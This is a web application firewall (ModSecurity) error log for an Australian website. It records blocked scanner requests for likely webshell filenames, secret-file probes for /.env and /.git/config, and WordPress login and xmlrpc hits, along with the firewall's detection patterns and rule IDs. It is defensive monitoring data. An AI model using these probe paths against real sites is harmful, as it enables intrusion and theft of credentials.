[Thu Dec 18 21:46:52.989677 2025] [:error] [pid 25357:tid 25361] [client 4.196.84.157:1753] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z.php"] [unique_id "aUQFzIaT7bsEXnJVfJdzjAAAAcI"]
[Thu Dec 18 21:46:53.351221 2025] [:error] [pid 23645:tid 23663] [client 4.196.84.157:1372] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z.php"] [unique_id "aUQFzTf_Rx0Y0ao_QJhlvQAAAJA"]
[Thu Dec 18 21:46:53.443082 2025] [:error] [pid 24958:tid 24968] [client 4.196.84.157:1739] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z.php"] [unique_id "aUQFzckDOrUkd0wNm2HUXQAAAYc"]
[Thu Dec 18 21:46:53.610119 2025] [:error] [pid 23645:tid 23656] [client 4.196.84.157:24865] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z.php"] [unique_id "aUQFzTf_Rx0Y0ao_QJhlvgAAAIk"]
[Thu Dec 18 21:46:53.744694 2025] [:error] [pid 23556:tid 23563] [client 4.196.84.157:14809] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUQFzRnmLlk3u5yt9kHwzwAAAAM"]
[Thu Dec 18 21:46:53.904849 2025] [:error] [pid 24542:tid 24556] [client 4.196.84.157:15991] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUQFzUtQz4H2oS3NrDYo4wAAAUw"]
[Thu Dec 18 21:46:54.154712 2025] [:error] [pid 23645:tid 23657] [client 4.196.84.157:15898] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUQFzjf_Rx0Y0ao_QJhlvwAAAIo"]
[Thu Dec 18 21:46:54.586296 2025] [:error] [pid 24542:tid 24563] [client 4.196.84.157:15046] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUQFzktQz4H2oS3NrDYo5AAAAVM"]
[Thu Dec 18 21:46:55.136628 2025] [:error] [pid 23645:tid 23669] [client 4.196.84.157:15082] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxz.php"] [unique_id "aUQFzzf_Rx0Y0ao_QJhlwAAAAJY"]
[Thu Dec 18 21:46:55.942690 2025] [:error] [pid 23558:tid 23636] [client 4.196.84.157:1777] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxz.php"] [unique_id "aUQFz-Ham9NbgPQa9uYumgAAANU"]
[Thu Dec 18 21:46:56.258082 2025] [:error] [pid 23558:tid 23618] [client 4.196.84.157:14840] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxz.php"] [unique_id "aUQF0OHam9NbgPQa9uYunQAAAMM"]
[Thu Dec 18 21:46:56.444832 2025] [:error] [pid 24542:tid 24547] [client 4.196.84.157:22077] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxz.php"] [unique_id "aUQF0EtQz4H2oS3NrDYo9QAAAUM"]
[Thu Dec 18 22:27:24.432176 2025] [:error] [pid 12383:tid 12395] [client 207.46.13.116:64501] [client 207.46.13.116] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "82"] [id "210381"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||vetstars.com.au|F|4"] [data "REQUEST_URI=/\\x17\\x14%-\\x07@%h\\x19*%g-\\x15\\x1f"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/\\x17\\x14%-\\x07@%h\\x19*%g-\\x15\\x1f"] [unique_id "aUQPTPdgllo9h1cyxGbTowAAAsk"]
[Thu Dec 18 23:16:32.109137 2025] [:error] [pid 24542:tid 24560] [client 45.195.75.44:52094] [client 45.195.75.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.195.75.44, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUQa0EtQz4H2oS3NrDY-6AAAAVA"]
[Fri Dec 19 01:06:22.085020 2025] [:error] [pid 45737:tid 45753] [client 15.185.97.242:39410] [client 15.185.97.242] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.185.97.242, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUQ0jlAGdb8SXm6CLHiPWgAAAAw"]
[Fri Dec 19 01:33:44.526595 2025] [:error] [pid 45825:tid 45834] [client 106.54.62.156:57570] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUQ6-NES1ifyzuzFwz8gKAAAAEc"]
[Fri Dec 19 02:49:24.532945 2025] [:error] [pid 45739:tid 45808] [client 172.82.66.112:53819] [client 172.82.66.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.82.66.112, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aURMtOIfOvWlLwqW0X3--QAAAQ0"], referer: https://vetstars.com.au/
[Fri Dec 19 02:54:35.760715 2025] [:error] [pid 45825:tid 45841] [client 68.183.121.35:55068] [client 68.183.121.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.121.35, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aURN69ES1ifyzuzFwz9CygAAAE4"]
[Fri Dec 19 04:24:08.571599 2025] [:error] [pid 62008:tid 62035] [client 164.92.226.45:50438] [client 164.92.226.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.226.45, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aURi6JJCOG7NAlbm_ORFIwAAANg"]
[Fri Dec 19 04:46:47.441596 2025] [:error] [pid 64979:tid 64985] [client 192.145.44.37:46420] [client 192.145.44.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.145.44.37, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aURoN8Tf9GnU9RkPziuC_AAAAQQ"]
[Fri Dec 19 05:22:09.046496 2025] [:error] [pid 47035:tid 47054] [client 209.38.89.46:3100] [client 209.38.89.46] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aURwgYy3wL45ZxTVK_UM0wAAAZE"]
[Fri Dec 19 05:22:29.845420 2025] [:error] [pid 47035:tid 47046] [client 209.38.89.46:33234] [client 209.38.89.46] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aURwlYy3wL45ZxTVK_UM4QAAAYk"]
[Fri Dec 19 08:13:21.291902 2025] [:error] [pid 64979:tid 65004] [client 90.156.169.111:53246] [client 90.156.169.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 90.156.169.111, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUSYocTf9GnU9RkPzivFGAAAARc"]
[Fri Dec 19 09:44:45.788676 2025] [:error] [pid 41889:tid 41920] [client 83.166.244.97:1252] [client 83.166.244.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 83.166.244.97, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUSuDYD4vChTJK38lbYK8gAAARU"]
[Fri Dec 19 11:08:14.092945 2025] [:error] [pid 41858:tid 41881] [client 137.74.192.205:40140] [client 137.74.192.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.74.192.205, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUTBnp0PV23R6CcTulXDIQAAAFU"]
[Fri Dec 19 12:23:47.341134 2025] [:error] [pid 20581:tid 20625] [client 139.144.54.113:56178] [client 139.144.54.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.144.54.113, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUTTU_xEv7WXNhnFD1n3JAAAAIo"]
[Fri Dec 19 13:46:55.302719 2025] [:error] [pid 20582:tid 20664] [client 89.74.227.109:2303] [client 89.74.227.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.74.227.109, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUTmz8pAnrkQKZ4b5ga47wAAANY"]
[Fri Dec 19 14:03:07.783629 2025] [:error] [pid 20582:tid 20648] [client 101.42.46.71:60424] [client 101.42.46.71] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUTqm8pAnrkQKZ4b5ga-IQAAAMY"]
[Fri Dec 19 14:52:04.115967 2025] [:error] [pid 41451:tid 41477] [client 49.51.233.46:51188] [client 49.51.233.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aUT2FAYXFn-DbZghZBFgmgAAABc"]
[Fri Dec 19 15:06:57.007752 2025] [:error] [pid 20580:tid 20597] [client 46.105.124.216:54994] [client 46.105.124.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.105.124.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUT5kUmd1op_YdAdgR00eQAAAEs"]
[Fri Dec 19 16:37:16.005855 2025] [:error] [pid 20675:tid 20707] [client 134.122.6.46:36270] [client 134.122.6.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.122.6.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUUOvLMyJ3XqeDRsbQkk-gAAARM"]
[Fri Dec 19 18:06:17.122452 2025] [:error] [pid 20582:tid 20645] [client 37.187.153.122:45756] [client 37.187.153.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.187.153.122, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUUjmcpAnrkQKZ4b5gb-uwAAAMM"]
[Fri Dec 19 19:32:07.554533 2025] [:error] [pid 20580:tid 20593] [client 43.157.149.188:49870] [client 43.157.149.188] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUU3t0md1op_YdAdgR2K3QAAAEc"]
[Fri Dec 19 19:36:41.572729 2025] [:error] [pid 41451:tid 41474] [client 123.31.41.118:39236] [client 123.31.41.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 123.31.41.118, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUU4yQYXFn-DbZghZBHIGQAAABQ"]
[Fri Dec 19 21:06:20.199431 2025] [:error] [pid 18438:tid 18457] [client 138.197.145.244:37406] [client 138.197.145.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.145.244, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUVNzJRArClWV1iij_SXWgAAAZA"]
[Fri Dec 19 21:06:45.786682 2025] [:error] [pid 16026:tid 16032] [client 4.194.48.125:18917] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/_inc-rasberry0342.php"] [unique_id "aUVN5ULVfhf4Jb3enmM8_gAAAUM"]
[Fri Dec 19 21:06:47.106365 2025] [:error] [pid 20581:tid 20626] [client 4.194.48.125:19161] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/_inc-rasberry0342.php"] [unique_id "aUVN5_xEv7WXNhnFD1mKbQAAAIs"]
[Fri Dec 19 21:06:58.298586 2025] [:error] [pid 20582:tid 20644] [client 4.194.48.125:7508] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/_inc-rasberry0342.php"] [unique_id "aUVN8spAnrkQKZ4b5gY8LwAAAMI"]
[Fri Dec 19 21:07:36.902251 2025] [:error] [pid 18438:tid 18447] [client 4.194.48.125:15338] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blackhat.php"] [unique_id "aUVOGJRArClWV1iij_SX1gAAAYY"]
[Fri Dec 19 21:07:39.794378 2025] [:error] [pid 20581:tid 20625] [client 4.194.48.125:17561] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blackhat.php"] [unique_id "aUVOG_xEv7WXNhnFD1mKtwAAAIo"]
[Fri Dec 19 21:07:41.102352 2025] [:error] [pid 20581:tid 20616] [client 4.194.48.125:18636] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blackhat.php"] [unique_id "aUVOHfxEv7WXNhnFD1mKuQAAAIE"]
[Fri Dec 19 21:07:42.844318 2025] [:error] [pid 18438:tid 18460] [client 4.194.48.125:12030] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blackhat.php"] [unique_id "aUVOHpRArClWV1iij_SX3wAAAZM"]
[Fri Dec 19 21:07:58.544819 2025] [:error] [pid 41451:tid 41471] [client 4.194.48.125:13264] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1s.php"] [unique_id "aUVOLgYXFn-DbZghZBHhegAAABE"]
[Fri Dec 19 21:08:01.336980 2025] [:error] [pid 20582:tid 20643] [client 4.194.48.125:20652] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1s.php"] [unique_id "aUVOMcpAnrkQKZ4b5gY8hAAAAME"]
[Fri Dec 19 21:08:35.836724 2025] [:error] [pid 16026:tid 16033] [client 4.194.48.125:15029] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/logs.php"] [unique_id "aUVOU0LVfhf4Jb3enmM9XQAAAUQ"]
[Fri Dec 19 21:08:36.986612 2025] [:error] [pid 18438:tid 18460] [client 4.194.48.125:14515] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/logs.php"] [unique_id "aUVOVJRArClWV1iij_SYGAAAAZM"]
[Fri Dec 19 21:08:40.439392 2025] [:error] [pid 20580:tid 20597] [client 4.194.48.125:7829] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/logs.php"] [unique_id "aUVOWEmd1op_YdAdgR2lewAAAEs"]
[Fri Dec 19 21:08:46.621844 2025] [:error] [pid 16026:tid 16043] [client 4.194.48.125:11514] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/logs.php"] [unique_id "aUVOXkLVfhf4Jb3enmM9YQAAAU4"]
[Fri Dec 19 21:08:49.007720 2025] [:error] [pid 20580:tid 20610] [client 4.194.48.125:7587] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aUVOYUmd1op_YdAdgR2lhQAAAFg"]
[Fri Dec 19 21:08:51.756931 2025] [:error] [pid 20581:tid 20622] [client 4.194.48.125:12454] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aUVOY_xEv7WXNhnFD1mK6AAAAIc"]
[Fri Dec 19 21:09:09.736934 2025] [:error] [pid 20581:tid 20638] [client 4.194.48.125:16626] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/testphp.php"] [unique_id "aUVOdfxEv7WXNhnFD1mLAAAAAJc"]
[Fri Dec 19 21:09:13.320752 2025] [:error] [pid 41451:tid 41471] [client 4.194.48.125:16106] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/testphp.php"] [unique_id "aUVOeQYXFn-DbZghZBHhqgAAABE"]
[Fri Dec 19 21:09:16.494166 2025] [:error] [pid 20580:tid 20591] [client 4.194.48.125:11303] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/testphp.php"] [unique_id "aUVOfEmd1op_YdAdgR2loQAAAEU"]
[Fri Dec 19 21:09:41.479285 2025] [:error] [pid 20580:tid 20596] [client 4.194.48.125:20292] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tempfs.php"] [unique_id "aUVOlUmd1op_YdAdgR2lugAAAEo"]
[Fri Dec 19 21:09:56.004043 2025] [:error] [pid 20675:tid 20691] [client 4.194.48.125:8072] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/database.php"] [unique_id "aUVOpLMyJ3XqeDRsbQmjawAAAQM"]
